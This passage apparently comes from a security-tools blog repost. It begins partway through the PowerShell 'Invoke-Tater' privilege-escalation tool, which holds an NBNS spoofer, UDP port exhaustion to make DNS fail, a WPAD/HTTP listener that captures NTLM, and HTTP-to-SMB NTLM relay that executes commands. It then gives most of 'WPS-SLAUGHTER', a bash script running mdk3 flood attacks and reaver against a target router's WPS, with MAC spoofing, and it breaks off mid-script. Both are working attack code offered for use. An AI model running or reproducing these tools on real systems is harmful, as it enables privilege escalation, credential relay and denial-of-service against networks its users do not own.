                    $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes
                }

                $NTLM_type = "NTLMv2"           
                $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-",""
                $NTLM_response = $NTLM_response.Insert(32,':')
                
                $tater.response_StatusCode = (0x32,0x30,0x30)
                $HTTP_response_phrase = (0x4f,0x4b)
                $NTLM_challenge = ''
                
                if (($tater.SMB_relay) -and ($tater.SMB_relay_active_step -eq 3))
                {
                    $tater.console_queue.add("$(Get-Date -format 's') - Sending response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget")
                    $SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID
                    $SMB_relay_response_return_bytes = $SMB_relay_response_return_bytes[1..$SMB_relay_response_return_bytes.length]
                    
                    if((!$SMB_relay_failed) -and ([System.BitConverter]::ToString($SMB_relay_response_return_bytes[9..12]) -eq ('00-00-00-00')))
                    {
                        $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")
                        $tater.SMB_relay_active_step = 4
                        SMBRelayExecute $SMB_relay_socket $SMB_user_ID          
                    }
                    else
                    {
                        $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")
                        $tater.SMB_relay_active_step = 0
                        $SMB_relay_socket.Close()
                    }
                }
            }
            else
            {
                $NTLM = 'NTLM'
            }    
        }

        $HTTP_timestamp = Get-Date -format r
        $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp)
        
        $HTTP_WWW_authenticate_header = (0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20)

        if($NTLM)
        {
            $NTLM = [System.Text.Encoding]::UTF8.GetBytes($NTLM)
            [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`
                + $tater.response_StatusCode`
                + (0x20)`
                + $HTTP_response_phrase`
                + (0x0d,0x0a)`
                + (0x43,0x61,0x63,0x68,0x65,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x3a,0x20,0x70,0x72,0x69,0x76,0x61,0x74,0x65,0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)`
                + (0x45,0x78,0x70,0x69,0x72,0x65,0x73,0x3a,0x20,0x4d,0x6f,0x6e,0x2c,0x20,0x30,0x31,0x20,0x4a,0x61,0x6e,0x20,0x30,0x30,0x30,0x31,0x20,0x30,0x30,0x3a,0x30,0x30,0x3a,0x30,0x30,0x20,0x47,0x4d,0x54,0x0d,0x0a)`
                + $HTTP_WWW_authenticate_header`
                + $NTLM`
                + (0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x30,0x0d,0x0a)`
                + (0x0d,0x0a)
        }
        elseif($HTTP_request_type -eq 'WPAD')
        {
            [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`
                + $tater.response_StatusCode`
                + (0x20)`
                + $HTTP_response_phrase`
                + (0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)`
                + $HTTP_content_length_bytes`
                + (0x0d,0x0a)`
                + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)`
                + (0x44,0x61,0x74,0x65,0x3a)`
                + $HTTP_timestamp`
                + (0x0d,0x0a,0x0d,0x0a)`
                + $HTTP_WPAD_response 
        }
        elseif($HTTP_request_type -eq 'Redirect')
        {
            [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`
                + $tater.response_StatusCode`
                + (0x20)`
                + $HTTP_response_phrase`
                + (0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x30,0x0d,0x0a)`
                + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)`
                + $HTTP_location`
                + (0x44,0x61,0x74,0x65,0x3a)`
                + $HTTP_timestamp`
                + (0x0d,0x0a,0x0d,0x0a)
        }
        else
        {
            [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x20)`
                + $tater.response_StatusCode`
                + (0x20)`
                + $HTTP_response_phrase`
                + (0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x31,0x30,0x37,0x0d,0x0a)`
                + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)`
                + (0x44,0x61,0x74,0x65,0x3a)`
                + $HTTP_timestamp`
                + (0x0d,0x0a,0x0d,0x0a)`
        }
        
        $HTTP_stream.write($HTTP_response, 0, $HTTP_response.length)
        $HTTP_stream.Flush()
        start-sleep -s 1
        $tater.request_RawUrl_old = $tater.request_RawUrl
        $tater.HTTP_client_handle_old= $tater.HTTP_client.Client.Handle

    }

}

$exhaust_UDP_scriptblock = 
{
    $tater.exhaust_UDP_running = $true
    $tater.console_queue.add("$(Get-Date -format 's') - Trying to exhaust UDP source ports so DNS lookups will fail")
    $UDP_socket_list = New-Object "System.Collections.Generic.List[Net.Sockets.Socket]"
    $UDP_failed_ports_list = New-Object "System.Collections.Generic.List[Int]"

    $i=0
    for ($i = 0; $i -le 65535; $i++)
    {
        try
        {
            if ($i -ne 137 -and $i -ne 53)
            {
                $IP_end_point = New-Object System.Net.IPEndpoint([Net.IPAddress]::Any, $i)
                $UDP_socket = New-Object Net.Sockets.Socket( [Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Dgram,[Net.Sockets.ProtocolType]::Udp )
                $UDP_socket.Bind($IP_end_point)
                $UDP_socket_list.Add($UDP_socket)
            }
        }
        catch
        {
            $UDP_failed_ports_list.Add($i);
            $tater.console_queue.add("$(Get-Date -format 's') - Couldn't bind to UDP port $i")
        }
    }

    $tater.UDP_exhaust_success = $false

    while (!$tater.UDP_exhaust_success)
    {
        if(!$suppress_flush_message)
        {
            $tater.console_queue.add("$(Get-Date -format 's') - Flushing DNS resolver cache")
            $suppress_flush_message = $true
        }

        DnsFlushResolverCache

        try
        {
            $host_lookup = [System.Net.Dns]::GetHostEntry("microsoft.com")
        }
        catch
        {
            $tater.console_queue.add("$(Get-Date -format 's') - DNS lookup failed so UDP exhaustion worked")
            $tater.UDP_exhaust_success = $true
            break
        }

        $tater.console_queue.add("$(Get-Date -format 's') - DNS lookup succeeded so UDP exhaustion failed")

        foreach ($UDP_port in $UDP_failed_ports_list)
        {
            try
            {
                $IP_end_point = New-Object System.Net.IPEndpoint([Net.IPAddress]::Any, $i)
                $UDP_socket = New-Object Net.Sockets.Socket( [Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Dgram,[Net.Sockets.ProtocolType]::Udp )
                $UDP_socket.Bind($IP_end_point)
                $UDP_socket_list.Add($UDP_socket)
                $UDP_failed_ports.Remove($UDP_port)
            }
            catch
            {
                $tater.console_queue.add("$(Get-Date -format 's') - Failed to bind to $UDP_port during cleanup")
            }
        } 
    }

    $tater.exhaust_UDP_running = $false
}

$spoofer_scriptblock = 
{
    param ($IP,$SpooferIP,$Hostname,$NBNSLimit)

    $Hostname = $Hostname.ToUpper()

    [Byte[]]$hostname_bytes = (0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00)

    $hostname_encoded = [System.Text.Encoding]::ASCII.GetBytes($Hostname)
    $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded)
    $hostname_encoded = $hostname_encoded.Replace("-","")
    $hostname_encoded = [System.Text.Encoding]::ASCII.GetBytes($hostname_encoded)

    for ($i=0; $i -lt $hostname_encoded.Count; $i++)
    {
        if($hostname_encoded[$i] -gt 64)
        {
            $hostname_bytes[$i] = $hostname_encoded[$i] + 10
        }
        else
        {
            $hostname_bytes[$i] = $hostname_encoded[$i] + 17
        }
    }

    [Byte[]]$NBNS_response_packet = (0x00,0x00)`
        + (0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20)`
        + $hostname_bytes`
        + (0x00,0x20,0x00,0x01,0x00,0x00,0x00,0xa5,0x00,0x06,0x00,0x00)`
        + ([IPAddress][String]([IPAddress]$SpooferIP)).GetAddressBytes()`
        + (0x00,0x00,0x00,0x00)
      
    while($tater.exhaust_UDP_running)
    {
        Start-Sleep -s 2
    }

    $tater.console_queue.add("$(Get-Date -format 's') - Flushing DNS resolver cache")
    DnsFlushResolverCache

    $tater.console_queue.add("$(Get-Date -format 's') - Starting NBNS spoofer to resolve $Hostname to $SpooferIP")
              
    $send_socket = New-Object System.Net.Sockets.UdpClient(137)
    $destination_IP = [system.net.IPAddress]::Parse($IP)
    $destination_point = New-Object Net.IPEndpoint($destination_IP,137)
    $send_socket.Connect($destination_point)
       
    while ($tater.running)
    {
        :NBNS_spoofer_loop while (!$tater.hostname_spoof -and $tater.running)
        {
            for ($i = 0; $i -lt 255; $i++)
            {
                for ($j = 0; $j -lt 255; $j++)
                {
                    $NBNS_response_packet[0] = $i
                    $NBNS_response_packet[1] = $j                 
                    [void]$send_socket.send( $NBNS_response_packet,$NBNS_response_packet.length)

                    if($tater.hostname_spoof -and $NBNSLimit -eq 'Y')
                    {
                        break NBNS_spoofer_loop
                    }
                }
            }
        }

        Start-Sleep -m 5
    }

    $send_socket.Close()
 }

$tater_scriptblock = 
{
    param ($NBNS,$NBNSLimit,$RunTime,$SpooferIP,$Hostname,$HTTPPort)
    
    Function HTTPListenerStop
    {
        $tater.console_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener")
        $tater.HTTP_client.Close()
        start-sleep -s 1
        $tater.HTTP_listener.server.blocking = $false
        Start-Sleep -s 1
        $tater.HTTP_listener.server.Close()
        Start-Sleep -s 1
        $tater.HTTP_listener.Stop()
        $tater.running = $false
    }

    if($RunTime)
    {    
        $tater_timeout = new-timespan -Minutes $RunTime
        $tater_stopwatch = [diagnostics.stopwatch]::StartNew()
    }

    while ($tater.running)
    {
        if($tater.trigger -ne 2)
        {
            try
            {
                $Hostname_IP = [System.Net.Dns]::GetHostEntry($Hostname).AddressList[0].IPAddressToString
            }
            catch{}
            
            if($Hostname_IP -eq $SpooferIP)
            {
                if(!$suppress_spoofed_message)
                {
                    $tater.console_queue.add("$(Get-Date -format 's') - $Hostname has been spoofed to $SpooferIP")
                    $suppress_spoofed_message = $true
                }

                if($NBNSLimit -eq 'y')
                {
                    $tater.hostname_spoof = $true
                }

                $hostname_spoof = $true
                $Hostname_IP = ""
            }
            elseif((!$Hostname_IP -or $Hostname_IP -ne $SpooferIP) -and $NBNS -eq 'y')
            {
                $tater.hostname_spoof = $false
                $hostname_spoof = $false
            }
        }

        if(!$tater.SMBRelay_success -and $tater.trigger -eq 1)
        {
            if(Test-Path "C:\Program Files\Windows Defender\MpCmdRun.exe")
            {
                if(($process_defender.HasExited -or !$process_defender) -and !$tater.SMB_relay_success -and $hostname_spoof)
                {
                    $tater.console_queue.add("$(Get-Date -format 's') - Running Windows Defender signature update")
                    $process_defender = Start-Process -FilePath "C:\Program Files\Windows Defender\MpCmdRun.exe" -Argument SignatureUpdate -WindowStyle Hidden -passthru
                }
            }
            else
            {
                $tater.console_queue.add("Windows Defender not found")
            }
        }
        elseif(!$tater.SMBRelay_success -and $tater.trigger -eq 2)
        {
            $service_webclient = Get-Service WebClient

            if($service_webclient.Status -eq 'Stopped')
            {
                $tater.console_queue.add("$(Get-Date -format 's') - Starting WebClient service")
                $process_webclient = Start-Process -FilePath "cmd.exe" -Argument "/C pushd \\live.sysinternals.com\tools" -WindowStyle Hidden -passthru -Wait
            }

            if($service_webclient.Status -eq 'Running' -and !$scheduled_task_added -and !$tater.SMBRelay_success)
            {
                $timestamp_add = (Get-Date).AddMinutes(1)
                $timestamp_add_string = $timestamp_add.ToString("HH:mm")
                $tater.console_queue.add("$(Get-Date -format 's') - Adding scheduled task " + $tater.taskname)
                $process_scheduled_task = "/C schtasks.exe /Create /TN " + $tater.taskname + " /TR  \\127.0.0.1@$HTTPPort\test /SC ONCE /ST $timestamp_add_string /F"
                Start-Process -FilePath "cmd.exe" -Argument $process_scheduled_task -WindowStyle Hidden -passthru -Wait
                
                $schedule_service = new-object -com("Schedule.Service")
                $schedule_service.connect() 
                $scheduled_task_list = $schedule_service.getfolder("\").gettasks(1)

                $scheduled_task_added = $false

                foreach($scheduled_task in $scheduled_task_list)
                {
                    if($scheduled_task.name -eq $tater.taskname)
                    {
                        $scheduled_task_added = $true
                    }
                }

                $schedule_service.Quit()

                if(!$scheduled_task_added -and !$tater.SMBRelay_success)
                {
                    $tater.console_queue.add("$(Get-Date -format 's') - Adding scheduled task " + $tater.taskname + " failed")
                    HTTPListenerStop
                }
            }
            elseif($scheduled_task_added -and (Get-Date) -ge $timestamp_add.AddMinutes(2))
            {
                $tater.console_queue.add("$(Get-Date -format 's') - Something went wrong with the service")
                HTTPListenerStop
            }
        }

        if($tater.SMBRelay_success)
        {
            Stop-Process -id $process_defender.Id
        }

        if($RunTime)
        {
            if($tater_stopwatch.elapsed -ge $tater_timeout)
            {
                HTTPListenerStop
            }
        } 
           
        Start-Sleep -m 5
    }
 }

# HTTP/HTTPS Listener Startup Function 
Function HTTPListener()
{
    if($WPADPort -eq '80')
    {
        $tater.HTTP_endpoint = New-Object System.Net.IPEndPoint([ipaddress]::loopback,$HTTPPort)
    }
    else
    {
        $tater.HTTP_endpoint = New-Object System.Net.IPEndPoint([ipaddress]::any,$HTTPPort)
    }

    $tater.HTTP_listener = New-Object System.Net.Sockets.TcpListener $tater.HTTP_endpoint
    $tater.HTTP_listener.Start()
    $HTTP_runspace = [runspacefactory]::CreateRunspace()
    $HTTP_runspace.Open()
    $HTTP_runspace.SessionStateProxy.SetVariable('tater',$tater)
    $HTTP_powershell = [powershell]::Create()
    $HTTP_powershell.Runspace = $HTTP_runspace
    $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null
    $HTTP_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null
    $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null
    $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null
    $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null
    $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Command).AddArgument($HTTPPort).AddArgument($WPADDirectHosts).AddArgument($WPADPort) > $null
    $HTTP_handle = $HTTP_powershell.BeginInvoke()
}

# Exhaust UDP Startup Function
Function ExhaustUDP()
{
    $exhaust_UDP_runspace = [runspacefactory]::CreateRunspace()
    $exhaust_UDP_runspace.Open()
    $exhaust_UDP_runspace.SessionStateProxy.SetVariable('tater',$tater)
    $exhaust_UDP_powershell = [powershell]::Create()
    $exhaust_UDP_powershell.Runspace = $exhaust_UDP_runspace
    $exhaust_UDP_powershell.AddScript($shared_basic_functions_scriptblock) > $null
    $exhaust_UDP_powershell.AddScript($exhaust_UDP_scriptblock) > $null
    $exhaust_UDP_handle = $exhaust_UDP_powershell.BeginInvoke()
}

# Spoofer Startup Function
Function Spoofer()
{
    $spoofer_runspace = [runspacefactory]::CreateRunspace()
    $spoofer_runspace.Open()
    $spoofer_runspace.SessionStateProxy.SetVariable('tater',$tater)
    $spoofer_powershell = [powershell]::Create()
    $spoofer_powershell.Runspace = $spoofer_runspace
    $spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null
    $spoofer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null
    $spoofer_powershell.AddScript($spoofer_scriptblock).AddArgument($IP).AddArgument($SpooferIP).AddArgument($Hostname).AddArgument($NBNSLimit) > $null
    $spoofer_handle = $spoofer_powershell.BeginInvoke()
}

# Tater Loop Function
Function TaterLoop()
{
    $tater_runspace = [runspacefactory]::CreateRunspace()
    $tater_runspace.Open()
    $tater_runspace.SessionStateProxy.SetVariable('tater',$tater)
    $tater_powershell = [powershell]::Create()
    $tater_powershell.Runspace = $tater_runspace
    $tater_powershell.AddScript($tater_scriptblock).AddArgument($NBNS).AddArgument($NBNSLimit).AddArgument($RunTime).AddArgument($SpooferIP).AddArgument($Hostname).AddArgument($HTTPPort) > $null
    $tater_handle = $tater_powershell.BeginInvoke()
}

# HTTP Server Start
HTTPListener

# Exhaust UDP Start
if($ExhaustUDP -eq 'y')
{
    ExhaustUDP
}

# Spoofer Start
if($NBNS -eq 'y')
{
    Spoofer
}

# Tater Loop Start
TaterLoop

if($tater.console_output)
{

    :console_loop while($tater.running -and $tater.console_output)
    {
        while($tater.console_queue.Count -gt 0)
        {
            write-output($tater.console_queue[0] + $tater.newline)
            $tater.console_queue.RemoveRange(0,1)
        }

        if($tater.console_input)
        {
            if([console]::KeyAvailable)
            {
                $tater.console_output = $false
                BREAK console_loop
            }
        }

        Start-Sleep -m 5
    }
}

if(!$tater.running)
{
    if($tater.SMBRelay_success)
    {  
        if($trigger -eq 2)
        {
            Write-Output "$(Get-Date -format 's') - Remove scheduled task $Taskname manually when finished"
        }

        Write-Output "$(Get-Date -format 's') - Tater was successful and has exited"
    }
    else
    {
        Write-Output "$(Get-Date -format 's') - Tater was not successful and has exited"
    }

    Remove-Variable tater -scope global
}

}
#End Invoke-Tater

Function Stop-Tater
{
    <#
    .SYNOPSIS
    Stop-Tater will stop Tater before a successful privilege escalation.
    #>
    if($tater)
    {
        if($tater.running)
        {
            $tater.status_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener")|Out-Null
            $tater.HTTP_listener.server.blocking = $false
            Start-Sleep -s 1
            $tater.HTTP_listener.server.Close()
            Start-Sleep -s 1
            $tater.HTTP_listener.Stop()
            $tater.running = $false
            $tater.status_queue.add("$(Get-Date -format 's') - Tater has been stopped")|Out-Null
            Remove-Variable tater -scope global
        }
        else
        {
            $tater.status_queue.add("Tater isn't running") | Out-Null
        }
    }
    else
    {
        $tater.status_queue.add("Tater isn't running")|Out-Null
    }

    if($tater.status_output)
    {
        while($tater.status_queue.Count -gt 0)
        {
            write-output($tater.status_queue[0] + $tater.newline)
            $tater.status_queue.RemoveRange(0,1)
        }
    }
} 

Function Get-Tater
{
    <#
    .SYNOPSIS
    Get-Tater will display queued Tater output.
    #>
    while($tater.console_queue.Count -gt 0)
    {
        write-output($tater.console_queue[0] + $tater.newline)
        $tater.console_queue.RemoveRange(0,1)
    }
}

Source : https://github.com/Kevin-Robertson | Our Post Before

WPS-SLAUGHTER : A WPS cracking script.

$
0
0

This tool helps to automate the process of testing router WPS vulnerability to flood attacks using multiple* wireless adapters to see if it will reboot and UNLOCK.

wps-slaughter

wps-slaughter

usage:
git clone https://github.com/ApatheticEuphoria/WPS-SLAUGHTER && cd WPS-SLAUGHTER
chmod +x WPS-SLAUGHTER.sh
./WPS-SLAUGHTER.sh

Script:

#!/bin/bash
declare BSSID;
declare ESSID;
declare CHANNEL;
declare ADAPTER1;
declare ADAPTER2;
declare ADAPTER3;
declare ADAPTER4;
declare ADAPTER5;

echo "
██╗    ██╗██████╗ ███████╗      ███████╗██╗      █████╗ ██╗   ██╗ ██████╗ ██╗  ██╗████████╗███████╗██████╗ 
██║    ██║██╔══██╗██╔════╝      ██╔════╝██║     ██╔══██╗██║   ██║██╔════╝ ██║  ██║╚══██╔══╝██╔════╝██╔══██╗
██║ █╗ ██║██████╔╝███████╗█████╗███████╗██║     ███████║██║   ██║██║  ███╗███████║   ██║   █████╗  ██████╔╝
██║███╗██║██╔═══╝ ╚════██║╚════╝╚════██║██║     ██╔══██║██║   ██║██║   ██║██╔══██║   ██║   ██╔══╝  ██╔══██╗
╚███╔███╔╝██║     ███████║      ███████║███████╗██║  ██║╚██████╔╝╚██████╔╝██║  ██║   ██║   ███████╗██║  ██║
 ╚══╝╚══╝ ╚═╝     ╚══════╝      ╚══════╝╚══════╝╚═╝  ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
"

echo "WPS-SLAUGHTER BY: APATHETIC EUPHORIA"

sudo rfkill unblock all

echo "************** - How Many Wlan Adapters Would You Like To Use? - ************** 
1)1 Adapter
2)2 Adapters
3)3 Adapters
4)4 Adapters
5)5 Adapters"

read a
case $a in
	1)

echo 
read -p " - What is the name of your Wlan Adapter (Ex:Wlan0) - ": ADAPTER1;

echo "------------------------------"
echo "Enabling Monitor Mode"
sudo ifconfig $ADAPTER1 down
sleep 3
sudo iwconfig $ADAPTER1 mode monitor
sleep 3
sudo ifconfig $ADAPTER1 up
echo "Monitor Mode Enabled"
echo "------------------------------"

echo "************** - Would you like to Change the Wlan Adapter's MAC Address? - ************** 
1)Yes
2)No"

read c
case $c in
	1)
echo "------------------------------"
echo "Setting the MAC Address"
sudo ifconfig $ADAPTER1 down
sleep 3
macchanger $ADAPTER1 -m 02:22:88:29:EC:6F
sleep 3
sudo ifconfig $ADAPTER1 up
echo "MAC Changed"
echo "------------------------------"

;;
	2)
;;
	*)Invalid Option
;;
esac

gnome-terminal  --geometry=111x20 --title='Scanning for targets' -e "wash -i $ADAPTER1"

echo 
read -p " - What is the BSSID(MAC) of the Target - ": BSSID;

echo 
read -p " - What is the ESSID(Ap Name) of the Target - ": ESSID;

echo 
read -p " - What is the CHANNEL # of the Target - ": CHANNEL;
echo "-------------------------------------"


menu () {
echo "************** - Which Attack Would You Like To Use? - ************** 
1)EAPOL Start Flood 
2)Authentication Flood
3)Reaver
4)Check if Access Point WPS is UNLOCKED"

read d
case $d in
	1)
timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250
menu
;;
	2)
timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m
menu
;;
	3)
reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv
menu
;;
	4)
gnome-terminal  --geometry=111x20 --title='Scanning for targets' -e "wash -i $ADAPTER1"
menu
;;
	*)Invalid Option
menu
;;
esac
}

menu

;;
	2)

echo 
read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": ADAPTER1;

echo 
read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": ADAPTER2;

echo "------------------------------"
echo "Enabling Monitor Mode"
sudo ifconfig $ADAPTER1 down
sleep 3
sudo iwconfig $ADAPTER1 mode monitor
sleep 3
sudo ifconfig $ADAPTER1 up
sudo ifconfig $ADAPTER2 down
sleep 3
sudo iwconfig $ADAPTER2 mode monitor
sleep 3
sudo ifconfig $ADAPTER2 up
echo "Monitor Mode Enabled"
echo "------------------------------"

echo "************** - Would you like to set the 2 Adapters to an Identical MAC Address? - ************** 
1)Yes
2)No"

read f
case $f in
	1)
echo "------------------------------"
echo "Setting the MAC Address"
sudo ifconfig $ADAPTER1 down
sleep 3
macchanger $ADAPTER1 -m 02:22:88:29:EC:6F
sleep 3
sudo ifconfig $ADAPTER1 up
sudo ifconfig $ADAPTER2 down
sleep 3
macchanger $ADAPTER2 -m 02:22:88:29:EC:6F
sleep 3
sudo ifconfig $ADAPTER2 up
echo "MAC Changed"
echo "------------------------------"
;;
	2)
;;
	*)Invalid Option
;;
esac



gnome-terminal  --geometry=111x20 --title='Scanning for targets' -e "wash -i $ADAPTER1"

echo 
read -p " - What is the BSSID(MAC) of the Target - ": BSSID;

echo 
read -p " - What is the ESSID(Ap Name) of the Target - ": ESSID;

echo 
read -p " - What is the CHANNEL # of the Target - ": CHANNEL;
echo "-------------------------------------"

menu () {
echo "************** - Which Attack Would You Like To Use? - ************** 
1)EAPOL Start Flood 
2)Authentication Flood
3)Reaver
4)Check if Access Point WPS is UNLOCKED"

read g
case $g in
	1)
timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250
menu
;;
	2)
timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m
menu
;;
	3)
reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv
menu
;;
	4)
gnome-terminal  --geometry=111x20 --title='Scanning for targets' -e "wash -i $ADAPTER1"
menu
;;
	*)Invalid Option
menu
;;
esac

}

menu

;;
	3)

echo 
read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": ADAPTER1;

echo 
read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": ADAPTER2;

echo 
read -p " - What is the name of your 3rd Wlan Adapter (Ex:Wlan2) - ": ADAPTER3;

echo "------------------------------"
echo "Enabling Monitor Mode"
sudo ifconfig $ADAPTER1 down
sleep 3
sudo iwconfig $ADAPTER1 mode monitor
sleep 3
sudo ifconfig $ADAPTER1 up
sudo ifconfig $ADAPTER2 down
sleep 3
sudo iwconfig $ADAPTER2 mode monitor
sleep 3
sudo ifconfig $ADAPTER2 up
sudo ifconfig $ADAPTER3 down
sleep 3
sudo iwconfig $ADAPTER3 mode monitor
sleep 3
sudo ifconfig $ADAPTER3 up
echo "Monitor Mode Enabled"
echo "------------------------------"

echo "************** - Would you like to set the 3 Adapters to an Identical MAC Address? - ************** 
1)Yes
2)No"

read i
case $i in
	1)
echo "------------------------------"
echo "Setting the MAC Address"
sudo ifconfig $ADAPTER1 down
sleep 3
macchanger $ADAPTER1 -m 02:22:88:29:EC:6F
sleep 3
sudo ifconfig $ADAPTER1 up
sudo ifconfig $ADAPTER2 down
sleep 3
macchanger $ADAPTER2 -m 02:22:88:29:EC:6F
sleep 3
sudo ifconfig $ADAPTER2 up
sudo ifconfig $ADAPTER3 down
sleep 3
macchanger $ADAPTER3 -m 02:22:88:29:EC:6F
sleep 3
sudo ifconfig $ADAPTER3 up
echo "MAC Changed"
echo "------------------------------"
;;
	2)
;;
	*)Invalid Option
;;
esac

gnome-terminal  --geometry=111x20 --title='Scanning for targets' -e "wash -i $ADAPTER1"

echo 
read -p " - What is the BSSID(MAC) of the Target - ": BSSID;

echo 
read -p " - What is the ESSID(Ap Name) of the Target - ": ESSID;

echo 
read -p " - What is the CHANNEL # of the Target - ": CHANNEL;
echo "-------------------------------------"

menu () {
echo "************** - Which Attack Would You Like To Use? - ************** 
1)EAPOL Start Flood 
2)Authentication Flood
3)Reaver
4)Check if Access Point WPS is UNLOCKED"

read j
case $j in
	1)
timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250
menu
;;
	2)
timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m
menu
;;
	3)
reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv
menu
;;
	4)
gnome-terminal  --geometry=111x20 --title='Scanning for targets' -e "wash -i $ADAPTER1"
menu
;;
	*)Invalid Option
menu
;;
esac
}

menu

;;
	4)
echo 
read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": ADAPTER1;

echo 
read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": ADAPTER2;

echo 
read -p " - What is the name of your 3rd Wlan Adapter (Ex:Wlan2) - ": ADAPTER3;

echo 
read -p " - What is the name of your 4th Wlan Adapter (Ex:Wlan3) - ": ADAPTER4;

echo "------------------------------"
echo "Enabling Monitor Mode"
sudo ifconfig $ADAPTER1 down
sleep 3
sudo iwconfig $ADAPTER1 mode monitor
sleep 3
sudo ifconfig $ADAPTER1 up
